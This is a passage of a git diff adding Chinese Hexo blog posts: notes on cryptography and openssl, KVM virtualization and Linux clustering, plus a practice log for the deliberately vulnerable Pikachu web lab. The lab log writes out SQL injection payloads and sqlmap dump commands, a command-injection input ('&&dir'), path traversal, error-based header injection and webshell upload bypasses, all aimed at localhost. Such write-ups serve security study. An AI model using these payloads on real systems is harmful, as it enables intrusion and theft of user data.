不会阻塞,需要借助键盘或鼠标等事件,随机程度不高,适合生成较低强度的密码 + +### 单向散列 + +**单项散列函数,又叫hash函数, 是一种将任意长度的数据缩小成固定长度指纹的一种方法** + +#### 特性 - 确定性 + +如果两个散列值是不相同的(根据同- -函数) ,那么这两个散列值所对应的原始输入也是不同的 + +### 常见算法 + +MD2,MD5,MDC2,RMD160,SHA,SHA1 + +#### 常见工具 + +> - shalsum [ –check ] file + +- md5sum [ –check ] file +- openssl +- gpg +- rpm -V + +#### 应用场合 + +- 数据完整性检查 +- 按照关键字查找数据记录 + +单项散列是不能取代**对称加密**和**不对称加密**,它们是互补的 + +对称加密 + +加密数据和解密数据, 基于同一个KEY + +优点: 相比不对称加密,效率高 +缺点: 相比不对称加密,安全性差 + +### 常用算法: + +DES, 3DES , Blowfish, RC2 , RC4, RC6 ,IDEA, CAST5 + +#### 常见工具 + +- passwd +- gpg ( 3DES , CAST5 , Blowfish) +- openssl + +#### 应用 + +信息量的数据, 一般用对称加密 +对称加密和非对称加密常会结合使用 + +### 不对称加密 + +- 又叫公开密钥加密,是指一对加密密钥与解密密钥,用密码对当中的一个加密,必须是另一个密钥才能解密。公开的密钥为公钥,不公开的密钥叫私钥。 +- 如果加密密钥公开,这用于客户给私钥所有者.上传加密的数据,这被称作公开 + 密钥加密。 +- 如果解密密钥公开,用私钥加密的信息,可以用公钥对其解密,由于客户验证持有私钥- -方发布的数据或文件是可靠的,接收者由此可知这条信息确实来自于拥有私钥的某人,这被称做**数字签名**。 + +#### 常见算法 + +> - RSA + +- DSA +- EIGamal +- ECC +- Deffie-Hallman中的公钥加密算法 + +### GnuPG + +**PGP - Pretty Good Privacy** + +- 是PGP公司开发的加密签名工具套件 +- openGPG是最广泛使用的email加密工具,最初是基于PGP开发的 + +#### **对称加密** + +- gpg -C filename +- gpg -0 filename1 -d filename.gpg + +#### **不对称加密** + +- gpg –gen-key +- gpg –list-keys +- gpg –export –armor filename +- gpg –import filename +- gpg -e –armor-r filename + +#### **数字签名和加密** + +- gpg -sea -r filename +- gpg -d filename.asc + +### PKI + +**PKI - Public Key Infrastructure(公钥基础设施),是一套创建、存储、分发用于验证公钥的数字证书系统** + +#### PKI组件 + +- CA- Certificate Authority +- RA - Registration Authority +- 最终用户 + +### 数字证书 + +- 用于认证 +- 将公司、个人和公钥绑定 +- 由CA颁发或自行签发证书 + +![img](https://s1.vika.cn/space/2023/04/22/4ebaca7a8b564601b2090880c79a884f) + +### X.509 + +X.509是PKI中针对证书格式、证书吊销列表和授权证书等所制定的标准 + +> - 所包含的内容: +> - 版本 +> - 序列号 +> - 算法ID +> - 发行者 +> - 有效期 +> - 主题 +> - 证书签名 +> - 证书签名算法 + +### SSL + +**SSL- Secure Sockets Layer**是一种安全协议,是Netscape公司在推出WEB浏览器首款时提出的,为网络通信提供数据安全及数据完整性。 + +工作在OSI的第六层. + +- 优势:它是与第七层的应用层协议独立的,高层的应用层协议能透明的建立于SSL协议之上 + +#### TLS和SSL + +- IETF将SSL做了标准化,即RFC2246,并将其称为TLS +- TLS - Transport Layer Security +- 从技术上, TLS和SSL相差不大 + +![img](https://s1.vika.cn/space/2023/04/22/a5abc6d4c7bf4fb6af33411ac4fe31c5) + +#### TLS和SSL握手协议 + +![img](https://s1.vika.cn/space/2023/04/22/a78f6604d31e4d609204b2df67f887f7) + +#### SSL应用 + +- SSH +- HTTPS +- IMAPS +- POP3S + +### Openssl + +**OpenssI是一个开源的SSL/TLS协议的实现工具,能用于生成keys或者加密解密数据,也能创造和管理X. 509数字证书。** + +> - 加密 +> - openssI enc-des3 -salt - -a -in plaintext - -out ciphertext.des3 + +- 解密 + - openssI enc-d -des3 - salt -a -in ciphertext.des3 - out plaintext + +**单项散列** + +> - 命令 +> - openssl agst- -sha1 /boot/grub/grub.conf +> - openssl passwd -1 + +**生成RSA公钥和私钥** + +> - 生成不加密的私钥 +> - Openssl genrsa > somename.key + +- 生成加密的私钥 + - OpenssI genrsa -aes128 2048 > somename.key +- 生成公钥 + - OpenssI rsa -in somename.key -pubout - -out public.key + +**不对称加解密** + +> - 加密 +> - openssl rsautl -encrypt -pubin -inkey public.key -in plaintext -out encrypted.txt + +- 解密 + - openssI rsautl -decrypt -inkey private.key - -in encrypted.txt -out plaintext.txt + +**生成CSR文件** + +> - 命令 +> - openssI req -new -key somfile.key -out somefile.csr + +#### 撤销证书 + +> - 命令 +> - openssI ca -revoke stolen.crt \ No newline at end of file diff --git a/source/_posts/cloud_linux_4.md b/source/_posts/cloud_linux_4.md new file mode 100644 index 0000000..796906a --- /dev/null +++ b/source/_posts/cloud_linux_4.md @@ -0,0 +1,150 @@ +--- +title: 云计算 - Linux开源虚拟化KVM +date: 2023-04-19 10:30 +tags: [云计算, 笔记] +categories: 笔记 +thumbnail: "https://hexoimage.pages.dev/file/2369b0203a6961af7cd62.jpg" +--- + + + +## 虚拟化概述 + +### 虚拟化的定义 + +> - 在计算技术中, 虚拟化意味着创建设备或资源的虚拟版本,如服务器、存储设备、网络或者操作系统等等.. + +- 虚拟化技术 + - 系统虚拟化 + - 这种虚拟化通常表现为在单一系统上运行多个操作系统 + - 这些虚拟操作系统同时运行,每个操作系统又是相互独立 + - 存储虚拟化 + - 网络虚拟化 + - GPU虚拟化 + - 软件虚拟化 + - 硬件支持虚拟化 +- 纯软件仿真 + - 通过模拟完整的硬件环境来虚拟化来宾平台。 + - 模拟X86、ARM、PowerPC等多种CPU + - 效率比较低 + - 产品或方案 + - QEMU、Bochs、 PearPC + +### 虚拟化层翻译 + +> - 多数的虚拟化而采用虚拟机管理程序Hypervisor + +- Hypervisor是一个软件层或子系统 + - 也称为VMM ( Virtual Machine Monitor ,虚拟机监控器) +- 允许多种操作系统在相同的物理系统中运行 +- 控制硬件并向来宾操作系统提供访问底层硬件的途径 +- 向来宾操作系统提供虚拟化的硬件 + +![img](https://s1.vika.cn/space/2023/05/05/886244eea6b940a185ac22acb1f2e96b) + +#### 无硬件辅助的全虚拟化 + +> - Full Virtualization without Hardware Assist + +- 基于二进制翻译的全虚拟化 +- Full Virtualization with Binary Translation +- Hypervisor运行在Ring 0 +- Guest OS运行在Ring 1 +- 机制:异常、捕获、翻译 +- 示例: + - VMware Workstation + - QEMU + - VirtualPC + +#### 半虚拟化Para virtualization + +> - 也称为:超虚拟化、操作系统辅助虚拟化 + +- Hypervisor运行Ring 0 +- Guest OS不能直接运行在Ring 0 , 需要对Kernel进行修改,将运行在Ring 0上的,指令转为调用Hypervisor +- Guest OS.上的APP运行在Ring 3 +- 示例:Xen + +#### 硬件辅助的全虚拟化 + +> - Full Virtualization with Hardware Assist + +- Intel VT和AMD-V创建一个 新的Ring -1单独给Hypervisor使用 +- Guest OS可以直接使用Ring 0而无需修改 +- 示例: + - VMware ESXi + - Microsoft Hyper-V + - Xen3.0 + - KVM + +### LXC和Docker + +> - 一种轻量级/操作系统虚拟化方式,由Linux内核支持 + +- 起源: chroot系统调用,对当前程序及其子进程改变根目录 +- 优势: + - 更快速的交付和部署 + - 更高效的虚拟化 + - 更轻松的迁移和扩展 + - 更简单的管理 + +| 特性 | 容器 | 虚拟机 | +| ---------- | ------------------ | ---------- | +| 启动 | 秒级 | 分钟级 | +| 硬盘使用 | 般为MB | 般为GB | +| 性能 | 接近原生 | 弱于 | +| 系统支持量 | 单机支持上千个容器 | 一般几十个 | + +## KVM安装 + +> - CPU必须支持虚拟化技术,在BIOS设置为启动 + +- 目前,多数服务器基础桌面计算机均处理启用状态. + +> - “嵌套”式实验环境 +> - 在虚拟机中再做虚拟化 + +- VMware嵌套虚拟化 + - 产品: Workstation、 Player、 ESXi + - 支持: ESXi、 Hyper-V、 KVM、Xen +- KVM嵌套虚拟化 + - 支持: ESXi、Hyper-V、 KVM、Xen + +![img](https://s1.vika.cn/space/2023/05/05/cbbf6a1b2c394cd6a1558cec6a82fa57) + +### 实验环境准备 + +> - “嵌套” 式实验环境 +> - VMware Workstation Player或VMware Workstation +> - 创建虚拟机,在此虚拟机上安装KVM + + + +// TODO: 待补充 + +### KVM的远程管理 + +> - ssh + +- VNC +- X-Windows + +### KVM三种网络模式 + +> Bridged(桥接模式)、NAT(网络地址转换模式)、Host-Only(仅主机模式)。 + +#### Bridged(桥接模式) + +**什么是桥接模式?桥接模式就是将主机网卡与虚拟机虚拟的网卡利用虚拟网桥进行通信。在桥接的作用下,类似于把物理主机虚拟为一个交换机,所有桥接设置的虚拟机连接到这个交换机的一个接口上,物理主机也同样插在这个交换机当中,所以所有桥接下的网卡与网卡都是交换模式的,相互可以访问而不干扰。在桥接模式下,虚拟机ip地址需要与主机在同一个网段,如果需要联网,则网关与DNS需要与主机网卡一致。** + +#### NAT(地址转换模式) + +**刚刚我们说到,如果你的网络ip资源紧缺,但是你又希望你的虚拟机能够联网,这时候NAT模式是最好的选择。NAT模式借助虚拟NAT设备和虚拟DHCP服务器,使得虚拟机可以联网。在NAT模式中,主机网卡直接与虚拟NAT设备相连,然后虚拟NAT设备与虚拟DHCP服务器一起连接在虚拟交换机VMnet8上,这样就实现了虚拟机联网。** + +#### Host-Only(仅主机模式) + +**Host-Only模式其实就是NAT模式去除了虚拟NAT设备,然后使用VMware Network Adapter VMnet1虚拟网卡连接VMnet1虚拟交换机来与虚拟机通信的,Host-Only模式将虚拟机与外网隔开,使得虚拟机成为一个独立的系统,只与主机相互通讯** + +> - 桥接模式:自动生成的IP地址会随着主机的IP随时变化。 + +- NAT模式:下虚拟机的IP地址一旦生成,就不会改变了。 \ No newline at end of file diff --git a/source/_posts/cloud_linux_5.md b/source/_posts/cloud_linux_5.md new file mode 100644 index 0000000..9aeabd7 --- /dev/null +++ b/source/_posts/cloud_linux_5.md @@ -0,0 +1,158 @@ +--- +title: 云计算 - Linux集群 +date: 2023-05-18 12:56 +tags: [云计算, 笔记] +categories: 笔记 +thumbnail: "https://hexoimage.pages.dev/file/2369b0203a6961af7cd62.jpg" +--- + +## 概述 + +> - 群集基础 + +- [Linux群集概述](https://www.atdunbg.xyz/2023/05/18/cloud_linux_5/#jump0) +- pacemaker+ corosync+ pcS + - 演示:无共享存储的Web群集构建 + - 演示:基于NFS共享存储的Web群集构建 +- 使用Linux-IO构建iSCSI存储 + - 演示:基于SAN共享存储的MySQL群集构建 +- DRBD + - 演示:基于DRBD的MySQL群集构建 +- GFS2 + - 演示:基于DRBD+ GFS2的Active/Active的Web群集构建 + +## Linux群集概述 + +### 什么是群集? + +> 集群是将-组计算机和存储设备组成在一起,作为一个整体系统来提供用户访问 +> 集群中计算机共同来提供: +> \* 分担进程的负载 +> \* 自动恢复集群中的一个或多个组件的失败 + +#### 群集术语 + +| 术语 | 描述 | +| -------------- | ------------------------------------------------------------ | +| 节点 | 参与群集的服务器 | +| 资源 | 托管在集群中设备或服务,被应用程序或最终用户直接或间接地访问 | +| 故障转移群集 | 一种高可用性集群类型。 在一一个时刻 ,资源只能单个服务器所拥有 | +| 负载平衡 | 负荷由由多个节点分担处理的集群类型 | +| 容错 | 集群的一个关键组件,能够在硬件或软件出现问题时还能继续运作 | +| 计划停机时间 | 由于更新或其他维护操作,应用程序不可用的时间 | +| 非计划停机时间 | 由于组件失败,关键应用程序不可用的时间 | + +#### 群集类型 + +| 群集类型 | 描述 | +| ------------------- | -------------------------------------------------------- | +| 高可用(HA)群集 | 如果正在运行服务器遭遇失败,由其他的节点提供备份 | +| 负载平衡群集 | 将传入的网络请求分布到各个节点进行处理 | +| 高性能计算(HPC)群集 | 计算任务分布在多个节点 | +| 网格计算群集 | 独立的节点完成的被分派来任务或集群中其余部分分解的来工作 | + +#### 群集实现 + +| 群集分类 | 描述 | +| ------------ | ------------------------------------------------------------ | +| 共享设备群集 | 在节点之间共享数据和其他资源 如果两个系统必须访问相同的数据,这些数据必须从磁盘读两次或从一个系统复制到另外一系统 | +| 无共享群集 | 无共享群集在每个节点有单独的资源 一个时刻仅有一个节点访问特定的资源 失败时,其他节点会取得对象的所有权 | + +#### 群集优势 + +> - [可用性](https://www.atdunbg.xyz/2023/05/18/cloud_linux_5/#jump1)(Availability) +> - 集群增加的处于可操作状态的时间百分比 +> 可伸缩性(Scalability) +> - 群集通过根据需要逐步增加资源,来满足所有处理能力或可用性要求 +> [可管理性](https://www.atdunbg.xyz/2023/05/18/cloud_linux_5/#jump2)(Manageability) +> - 集群使配置、更新和添加等管理更加容易 + +### 什么是可用性? + +> 通过以下方式提高系统的可用性百分比: +> \* 增加平均失效到达时间(MTTF mean time to failure) +> \* 减少平均恢复时间(MTTR mean time to recover) + +| 可用性等级 | 每年宕机时间 | +| ------------- | ------------ | +| 2个9(99%) | 3.7天 | +| 3个9(99.9%) | 8.8小时 | +| 4个9(99.99%) | 53分钟 | +| 5个9(99.999%) | 5.3分钟 | + +![img](https://s1.vika.cn/space/2023/05/18/298bd8f921fd456faf3872592767d38c) + +![img](https://s1.vika.cn/space/2023/05/18/a788cc241cf24b1593966835dd442fee) + +### 什么是可扩展性? + +> 提高可扩展性的方式有: + +- Scaling up + - 向一个节点添加更多的资源,如内存、CPU和磁盘 +- Scaling out + - 添加更多的节点以分担负荷 +- Consolidation + - 通过将多个服务器负载迁移到一个服务器或少量的高配置的计算机,让少量的服务器承担更多的负荷。 + +### 什么是集群的可管理性? + +> - 群集通过以下方式来提高和可管理性: + +- 灾难恢复 + - 集群帮助应用程序的从灾难中进行恢复 +- 更新管理 + - 集群使应用程序、操作系统在升级更新时,仍然可用 + +### 微软SQL Server故障转移群集工作原理 + +![img](https://s1.vika.cn/space/2023/05/18/e8479b027112405a99d62344a30e90c1) + +### 网络负载平衡( NLB)群集 + +> - 为网络服务提供可扩展性 +> - 增强接收TCP和UDP流量的网络相关应用程序的可用性 +> - 包含所有活动节点 +> - 运行需要实现负荷平衡的基于IP的应用程序或服务副本,在每个节点保存所需的数据 + +### 什么是群集化的服务和资源? + +> - 群集化的服务 +> - 安装在故障转移群集以实现高可用的服务或应用程序 +> - 在一个活动节点上,也可被移动到其它节点 +> - 资源 +> - 组成群集化服务的组件 +> - 在一个时间,只能运行在一个节点之 上 +> - 当一个节点失效时,可以被移动到别个一个节点 +> - 包含的组件有共享磁盘,主机名和IP地址等 + +### 故障转移群集和网络 + +> - 故障转移群集使用以下网络: +> - 公共网络:用于客户与群集服务之间的通信 +> - 私有网络:用于节点之间的通信 +> - 存储网络:与外部存储系统通信 + +- 一个网络可同时支持客户与节点间通信 +- 推荐使用多网以提供增强的性能和冗余 + +### 什么是仲裁(Quorum)? + +> 在故障转移集群,仲裁定义足够的可用集群成员提供服务 +> +> - 仲裁(Quorum): +> - 基于投票(vote)的 +> - 根据不同仲裁模式,可使用节点,文件共享或共享磁盘用来投票 +> - 当有足够的票数时,允许故障转移群集保持在线 + +- 合法: + - total nodes < 2 * active_ nodes + +### 微软群集仲裁模式类型 + +| 仲裁模式 | 描述 | +| ---------------------- | ------------------------------------------------------------ | +| 节点多数模式 | 仅有群集中的节点有vote 当超过半数的节点在线时,才满足Quorum要求 | +| 节点和磁盘多数模式 | 群集中的节点和见证(witness)磁盘有vote 当超过半数的vote在线时,才满足Quorum要求 | +| 节点和文件共享多数模式 | 群集中的节点和见证(witness)文件共享有vote 当超过半数的vote在线时,才满足Quorum要求 | +| 非多数:仅磁盘模式 | 仅quorum共享磁盘有vote 当共享磁盘在线时,才满足Quorum要求 | diff --git a/source/_posts/hello-world.md b/source/_posts/hello-world.md index 821780c..2594a3c 100644 --- a/source/_posts/hello-world.md +++ b/source/_posts/hello-world.md @@ -1,6 +1,11 @@ --- title: Hello World +date: 2022-01-01 12:00:00 +tags: ["hello world"] +categories: "hello world" --- + + Welcome to [Hexo](https://hexo.io/)! This is your very first post. Check [documentation](https://hexo.io/docs/) for more info. If you get any problems when using Hexo, you can find the answer in [troubleshooting](https://hexo.io/docs/troubleshooting.html) or you can ask me on [GitHub](https://github.com/hexojs/hexo/issues). ## Quick Start diff --git a/source/_posts/pikachu_practice.md b/source/_posts/pikachu_practice.md new file mode 100644 index 0000000..2b925f2 --- /dev/null +++ b/source/_posts/pikachu_practice.md @@ -0,0 +1,669 @@ +--- +title: Pikachu练习记录 +date: 2023-08-10 15:06 +tags: [Pikachu, 靶场, 网络安全] +categories: Pikachu +thumbnail: "https://hexoimage.pages.dev/file/43665ba95443e49885078.jpg" +--- + +## Pikachu练习记录 + +## 0x01 Pikachu靶场 + +Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。 + +靶场链接:[Pikachu ](https://github.com/zhuifengshaonianhanlu/pikachu) + +## 0x02 暴力破解 + +### 基于表单的暴力破解 + +如题,直接放burp里暴力破解即可 + +### 验证码绕过(on server) + +在intruder里同一个验证码可重复使用 + +### 验证码绕过(on client) + +在intruder里同一个验证码可重复使用,也可以审查元素把相关的验证码代码删掉,不影响 + +### Token防爆破? + +多次抓包后发现,每次抓取的数据包中都含有下次请求所需要的token + +![token防爆破](https://s1.vika.cn/space/2023/08/12/93c1e629ff51411a8dd4ea533d963e9c) + +可以用burp里Intruder进行爆破,爆破类型用Pitchfork,爆破变量为password和token + +![token防爆破](https://s1.vika.cn/space/2023/08/12/6b3b71caf0f2436ebbb3ea5e7a314dec) + +![token防爆破](https://s1.vika.cn/space/2023/08/12/200238fc90554a519f8351a42500e833) + +对于token载荷相关设置,Payload type选择为 Recursive grep(递归搜索) + +![token防爆破](https://s1.vika.cn/space/2023/08/12/9593577156c644adaebdb73e92b11b1c) +然后在设置中的Grep - Extract中添加过滤项,找到token的位置,进行添加,同时把token值复制一下 + +![token防爆破](https://s1.vika.cn/space/2023/08/12/685ec0ee19d54df6ac580fdfd7eb1906) + +最后填写下一个token值开始爆破 + +![token防爆破](https://s1.vika.cn/space/2023/08/12/0b079f2c0fe541438b071614d3b0aa04) + +![token防爆破](https://s1.vika.cn/space/2023/08/12/e1ca103f02c94e70b1ede69fca8a8193) + +## 0x03 Cross-Site Scripting + +### 反射型xss(get) + +输入框被限制了最大输入长度,但是可以通过审查元素修改maxlength值来解除限制 + +![反弹型xss1](https://s1.vika.cn/space/2023/08/12/10c035bdcf644ccb94a0a7a37753a2a2) + +``` +输入框直接上脚本 + raw + + endraw +``` + +### 反射型xss(post) + +``` +登陆进去后输入框内输入以下内容 + +``` + +### 存储型xss + +``` + +``` + +### DOM型xss + +输入hello正常文本 + +![dom型xss1](https://s1.vika.cn/space/2023/08/12/9786a08c2f5c41ceacb971a40c3fe15c) + +输入下方文本 + +``` +#' onclick=alert('hello')> +``` + +![dom型xss2](https://s1.vika.cn/space/2023/08/12/c833289eb960479085de9bcb64f30698) + +### DOM型xss-x + +``` +' onclick=alert('hello')> +``` + +输入信息同时也会显示在url输入框里。 + +![dom型xss-x1](https://s1.vika.cn/space/2023/08/12/3c48c1b0488e43e39851e5b69b5301f9) + +### xss之盲打 + +``` +留言板输入: + +``` + +![xss之盲打1](https://s1.vika.cn/space/2023/08/12/d152522ab50d4633aa4104e1caa5f4fe) + +提示/xssblind/admin_login.php,登陆后台发现脚本会立即执行 + +### xss之过滤 + +大小写绕过 + +``` + +``` + +### xss之htmlspecialchars + +``` +' onclick='alert(1)' + +' onclick='javascript:alert(document.cookie)' +``` + +### xss之href输出 + +js伪协议绕过 + +``` +javascript:alert(1) +``` + +### xss之js输出 + +输入信息通过审查元素可以看到输入内容在js标签内 + +![xss之js输出1](https://s1.vika.cn/space/2023/08/12/752caaecac864c0b9a9a89f9bae62685) + +可以先把前面的 --> +``` + +## 0x04 CSRF + +### CSRF(get) + +### CSRF(post) + +### CSRF(token) + +## 0x05 Sql Inject + +### 数字型注入 + +**1,手动注入** + +发现是个选项,无法输入东西 ,直接拦截数据包,在burp里进行修改 + +![数字型注入1](https://s1.vika.cn/space/2023/08/12/61878eb5117346278df8e6d21d484797) + +``` +id=1 +#正常回显 + +id=1' +#提示报错 + +id=1 and 1=1 +#正常回显 + +id=1 and 1=2 +#报错,基本判断为mysql数据库的数字型注入点 + + +id=1 or 1=1 +#直接爆破出全部数据 +``` + +**2,无脑sqlmap** + +``` +sqlmap.py -u http://127.0.0.1/vul/sqli/sqli_id.php --data "id=1" --batch -D pikachu -T member --dump +``` + +![数字型注入2](https://s1.vika.cn/space/2023/08/12/7a4fcbf829824989ab92496fc3c086ca) + +### 字符型注入 + +``` +123 +#正常 + +123' +#发现报错 + +123'' +#又是正常了,基本上判定为字符型注入 + +123' or 1=1 # +#爆出所有用户 + + + +//附 + +123' union select database(),2 # +#查询数据库名称 + +123' union select table_schema,table_name from information_schema.tables where table_schema="pikachu" # +#查询表,发现有个users项 + +123' union select table_name,column_name from information_schema.columns where table_name="users" # +#查询uesrs表中的内容,发现存在username和password项 + +123' union select username,password from users # +#查出信息,但是密码是经过md5加密的,解密一下就行 +``` + +**sqlmap** + +``` +sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T member --batch --dump +``` + +### 搜索型注入 + +由于没有过滤“%”,“%”可以进行匹配任意字符,与linux中的”*“类似 + +**sqlmap** + +``` +sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --batch -D pikachu -T member --dump +``` + +### xx型注入 + +用123‘测试发现报错中含有一个反括号, + +![xx型注入1](https://s1.vika.cn/space/2023/08/12/0b40919a80ae498d9815e4457a5965b4) + +那就构造以下payload: + +``` +123') or 1=1 # +``` + +**sqlmap** + +``` +python sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -D pikachu -T member --dump +``` + +### “insert/update”注入 + +注册一下账户,然后brup抓包,随便选一个变量,修改如下 + +![报错注入1](https://s1.vika.cn/space/2023/08/12/fe555fea57e745c9b9428ea38bb4a2dd) + +``` +' and extractvalue(1,concat('~',(select database()))) and '1'='1 +' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 + + +# 报错注入两个典型的函数 +extractvalue() 是mysql对xml文档数据进行查询和修改的xpath函数 +updatexml() 是mysql对xml文档数据进行查询的xpath函数 +``` + +### “delete”注入 + +操作同上,在点击删除留言时进行抓包,发现有一个id参数可以进行注入,不过发现注入的参数中不能出现空格,否则空格后面不会进行处理 + +可以用“+”代替空格 + +``` ++and+updatexml(1,concat(0x7e,database(),0x7e),1) +``` + +![报错注入2](https://s1.vika.cn/space/2023/08/12/0af26ca25cc440cd87e1683bc22e3942) + +### “http header”注入 + +![http_header注入](https://s1.vika.cn/space/2023/08/12/4f4d58643a944fefa047f5119908366c) + +用提示给的用户登陆以下发现显示以上信息 + +直接抓包,然后修改User-Agent或者Accept, + +修改如下: + +``` +' and extractvalue(1,concat(0x7e,(database()))) and '1'='1 +或 +' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1 +``` + +经测试,cookie中的uname和pw变量也能进行注入 + +### 盲注(base on boolean) + +当输入kobe时显示uid和email + +当输入其他的值后显示输入的username不存在 + +![boolean盲注1](https://s1.vika.cn/space/2023/08/12/41d6aa8e61624862b3dc0e6f830adf3e) + +经测试是用 **‘** 进行闭合的 + +``` +kobe' +# 未查到username信息 + +kobe'and '1'='1 +#可以查到,判定用'闭合 + +kobe'and length(database())=n# +# "n"为一个数字,此处为了判定数据库字符的长度,经测试,当n=7时,正常显示,即可判定数据库名字长度为7 +``` + +burp抓包进行爆破数据库名字 + +``` +kobe' and substr(database(),1,1)='a'# +``` + +![boolean盲注2](https://s1.vika.cn/space/2023/08/12/98bc46e26cd34842a309e03383a136ba) + +第一个参数修改 + +![boolean盲注3](https://s1.vika.cn/space/2023/08/12/e4c7a656d5df4108aefea632dbd20f7a) + +第二个参数修改,爆破字符为a-z ,顺带着添加一个”_” + +![boolean盲注4](https://s1.vika.cn/space/2023/08/12/77a6c71a8e894d339f3afd1ad959468f) + +**sqlmap** + +``` +sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch +``` + +然后稍微排下序即可爆出数据库名字 + +![boolean盲注5](https://s1.vika.cn/space/2023/08/12/d7935e52aaaf4a2c8b63c0db5a262dfc) + +### 盲注(base on time) + +增加一个sleep(n)函数,加个判断,用回显时间的长短来判断,剩下的操作和上一样 + +**sqlmap** + +``` +sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_t.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch +``` + +### 宽字节注入 + +引用大佬的链接[https://blog.csdn.net/aa2528877987/article/details/118569895 ](https://blog.csdn.net/aa2528877987/article/details/118569895) + +``` +宽字节注入原理: + +  GBK 占用两字节 + +  ASCII占用一字节 + +  PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。 + +  输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的%df\变成%df%5C。%df%5C在GBK编码中没有对应,所以被当成无效字符。 + +  %DF’ :会被PHP当中的addslashes函数转义为“%DF\'” ,“\”既URL里的“%5C”,那么也就是说,“%DF'”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’” + +例如:http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass= + +其对应的sql就是: + +select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=” +``` + +在’前面加个%df也就可以实现逃逸转义,然后burp抓包,剩下操作同上 + +## 0x06 RCE + +### exec”ping” + +``` +127.0.0.1&&dir +#执行完ping指令后同时执行dir指令 +``` + +### exec”eval” + +``` +直接输入 phpinfo(); +``` + +经过查看源码发现代码如下 + +![rce1](https://s1.vika.cn/space/2023/08/12/926ff3d7ff244063a72151fdfa320164) + +于是尝试用蚁剑进行连接,最后发现修改如下可以成功连接 + +![rce2](https://s1.vika.cn/space/2023/08/12/7c167c375da14a80b7fabd5de25c8c3c) + +![rce3](https://s1.vika.cn/space/2023/08/12/bfbd21abb81c490c90604445e925dbb5) + +![rce4](https://s1.vika.cn/space/2023/08/12/b6aa7e06167d42bdad304479a1dee4d2) + +## 0x07 File Inclusion + +### file inclusion(local) + +``` +..\..\..\Users\sfd\Desktop\demo.txt +#直接访问电脑桌面的文件 +``` + +![file_inclusion](https://s1.vika.cn/space/2023/08/12/6913ded72a084cd498cbccb2d9326e5d) + +### file inclusion(remote) + +同标题,还是相同的位置,可以通过输入链接进行访问其他东西 + +## 0x08 Unsafe file download + +### Unsafe file download + +当鼠标悬浮在要下载的文件上时,发现左下角有详细链接 + +那么我们可以修改这个链接指向的filename来进行下载任意文件 + +![不安全的文件下载1](https://s1.vika.cn/space/2023/08/12/fbb7680a5a144f76bd1411647a0d5311) + +要下载本地文件用法和[File Inclusion(loacl)](#File Inclusion(local))一样,直接在filename=后面添加想要下载文件的相对位置 + +## 0x09 [unsafe upfileupload] + +### client check + +先上传一张图片,然后burp抓包,修改后缀后放包即可 + + + +最后用蚁剑连接即可。 + +### MIME type + +直接上传php木马,同样抓包,然后修改Content-Type 为 image/png 即可 + +![MIME_type1](https://s1.vika.cn/space/2023/08/12/0df49d200af8493ba3a38fad75d4756f) + +### getimagesize() + +添加了对文件进行判断有没有图片特征的函数,直接用cmd命令合成一个图片码即可绕过 + +``` +copy /b a.png + a.php b.png +``` + +![getimagesize1](https://s1.vika.cn/space/2023/08/12/735f4d62e1bf4d738bab5a37f5b2b516) + +## 0x10 over permission + +### 水平越权 + +首先以lucy的身份进行登录,然后可以看到lucy的信息 + +``` +http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF +``` + +这时我们直接修改url里的username,将其指定为kobe,就可以直接查看kobe的信息 + +``` +http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=kobe&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF +``` + +### 垂直越权 + +pikachu用户只有查看权限,而admin用户有所有权限 + +首先登陆admin并添加用户,然后可以获得一个url地址 + +``` +http://127.0.0.1/vul/overpermission/op2/op2_admin_edit.php +``` + +然后我们用pikachu用户登陆,然后直接输入上面的地址,发现可以进入添加用户界面,并且可以正常添加用户,回到admin用户后发现可以看到当前创建的用户 + +## 0x11 ../../(目录遍历) + +### 目录遍历 + +``` +../../../../Users/sfd/Desktop/demo.txt +#访问桌面的一个demo.txt 文件 +``` + +## 0x12 敏感信息泄露 + +### icanyourABC + +F12进行元素审查时发现一个测试用户可以使用 + +![敏感信息泄露1](https://s1.vika.cn/space/2023/08/12/f71e82366b5d4a41bbcc9987ace4a02f) + +## 0x13 php反序列化 + +### php反序列化漏洞 + +php涉及到序列化的函数有两个,分别是serialize()`和`unserialize() + +序列化简单来说就是将一个**对象**转化成可以传输的**字符串**,反序列化就是相反的操作 + +``` +#举个例子 +class S{ + public $test="pikachu"; + } + + $s=new S(); //创建一个对象 + serialize($s); //把这个对象进行序列化 + + + 序列化后得到的结果是这个样子的 O:1:"S":1:{s:4:"test";s:7:"pikachu";} + O:代表object + 1:代表对象名字长度为一个字符 + S:对象的名称 + 1:代表对象里面有一个变量 + s:数据类型 + 4:变量名称的长度 + test:变量名称 + s:数据类型 + 7:变量值的长度 + pikachu:变量值 +``` + +反序列化 + +``` +$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}"); + echo $u->test; //得到的结果为pikachu +``` + 